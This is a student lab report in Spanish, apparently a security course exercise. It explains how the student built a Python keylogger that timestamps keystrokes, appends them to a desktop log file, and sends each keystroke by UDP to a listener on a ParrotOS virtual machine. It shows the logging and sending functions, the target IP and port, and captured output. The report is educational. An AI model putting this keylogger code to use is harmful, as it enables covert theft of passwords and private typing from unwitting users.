

Actividad 3

No presiones Esc... todavía

Analisis de un programa basado en event hooks y callbacks que permita registrar eventos de teclado

Mtro. Servando López Contreras

Informe realizado por:

181583 Angel Aaron Acuña Quezada

Introducción

Comprender las técnicas ofensivas es el primer paso para desarrollar buenas defensas. En esta **práctica**, exploramos la anatomía de la captura de datos de entrada mediante la manipulación de *event hooks* en el sistema operativo. Este reporte detalla el desarrollo de un *script* capaz de interceptar eventos de teclado, registrar su actividad con marcas temporales exactas y transmitir esta telemetría hacia un receptor remoto en **ParrotOS**.

Persistencia del Registro

En esta etapa se nos solicita que el código cree un archivo local donde se guarden los resultados capturados. Para facilitar el acceso, lo colocamos en el escritorio con el nombre `registro_local.log`; de esta forma, logramos completar también el apartado de persistencia del registro.

```
ip = '192.168.0.28'
port = 4444
n = 1
ruta_log = os.path.join(os.path.expanduser('~'), 'Desktop', 'registro_local.log')
```

También usamos

```
with open(ruta_log, 'a') as f:
    f.write(reg)
```

Que se encarga de abrir el archivo y literalmente vaciar todos los datos capturados el modo 'a' crea el archivo si este no existe escribe al final del archivo manteniendo los datos de alguna anterior conexión esto asegura que mantengamos la persistencia

Asociación temporal

En este apartado debemos de lograr que el código por si mismo mantenga un registro exitoso de en qué fecha y hora fue presionada cada tecla de esta forma nos aseguramos de que la información que estamos viendo sea reciente y no sean registros de hace meses sin darnos cuenta, para lograr esto definimos una función llamada `log`

```
def log(tipo, key):
    global n
    t = ts()
    reg = f"{t} | {tipo} | evento_{n:03d} | {key}\n"
    n += 1
    with open(ruta_log, 'a') as f:
        f.write(reg)
    send(reg)
```

t=ts() devuelve la marca de tiempo actual en el formato YYYY-MM-DD HH:MM:SS.mmm

```
def ts():
    return datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]
```

Continuamos con

```
reg = f"{t} | {tipo} | evento_{n:03d} | {key}\n"
```

que se encarga de darnos la línea de registro tal cual la hemos pedido y trabajado.

Envío de Información a máquina local

En este apartado se debía de montar una maquina virtual en mi caso decidí usar ParrotOs para poder “observar” las teclas presionadas por nuestra victima en Windows para lograr esto configuramos la ip de nuestra maquina virtual y asignamos un puerto escucha

```
ip = '192.168.0.28'
port = 4444
```

Y usamos la función “send” para poder mandar las teclas capturas a una pantalla de la terminal de parrot

Esta función se encarga de enviar pos datos por UP a nuestra maquina virtual esta función permite que pueda haber ciertos errores de red sin detener nuestro programa

```
def send(data):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.sendto(data.encode(), (ip, port))
    except:
        pass
```

Con “try” al ser un bloque de prueba al existir algún error el programa no se rompe

AF_INET usamos la IPV4 que configuramos anteriormente sock_dgram es un protocolo UDP

Con esta función nos comunicamos con Parrot teniendo el siguiente resultado.

```
~ : socat — Konsole
File Edit View Bookmarks Plugins Settings Help
2026-08-24 16:49:23.996 PRESS | evento_004 | a
2026-08-24 16:49:24.055 PRESS | evento_005 | s
2026-08-24 16:49:24.055 PRESS | evento_005 | s
2026-08-24 16:49:24.101 PRESS | evento_006 | d
2026-08-24 16:49:24.101 PRESS | evento_006 | d
2026-08-24 16:49:24.126 RELEASE | evento_007 | 'a'
2026-08-24 16:49:24.126 RELEASE | evento_007 | 'a'
2026-08-24 16:49:24.156 RELEASE | evento_008 | 's'
2026-08-24 16:49:24.156 RELEASE | evento_008 | 's'
2026-08-24 16:49:24.214 RELEASE | evento_009 | 'd'
2026-08-24 16:49:24.214 RELEASE | evento_009 | 'd'
2026-08-24 16:49:24.665 PRESS | evento_010 | k
2026-08-24 16:49:24.665 PRESS | evento_010 | k
2026-08-24 16:49:24.731 RELEASE | evento_011 | 'k'
2026-08-24 16:49:24.731 RELEASE | evento_011 | 'k'
2026-08-24 16:49:25.867 PRESS | evento_012 | Key.cmd
2026-08-24 16:49:25.867 PRESS | evento_012 | Key.cmd
2026-08-24 16:49:25.875 PRESS | evento_013 | Key.shift
2026-08-24 16:49:25.875 PRESS | evento_013 | Key.shift
2026-08-24 16:49:25.967 PRESS | evento_014 | S
2026-08-24 16:49:25.967 PRESS | evento_014 | S
2026-08-24 16:49:26.080 RELEASE | evento_015 | Key.shift
2026-08-24 16:49:26.080 RELEASE | evento_015 | Key.shift
2026-08-24 16:49:26.113 RELEASE | evento_016 | Key.cmd
2026-08-24 16:49:26.113 RELEASE | evento_016 | Key.cmd
2026-08-24 16:49:26.118 RELEASE | evento_017 | 's'
2026-08-24 16:49:26.118 RELEASE | evento_017 | 's'
```

Conclusión

Con el desarrollo de este script, logramos entender de forma práctica el funcionamiento de un *spyware* (en este caso, un *keylogger*). Aprendimos cómo se capturan los datos y son enviados a través de protocolos de red que usamos diariamente. Esto nos deja una lección: las vulnerabilidades no siempre residen en las fallas de software complejas, sino también en el abuso de funciones del sistema operativo. Entender esto nos ayuda a preparar una mejor defensa y a ser conscientes de lo que alguien malintencionado puede lograr.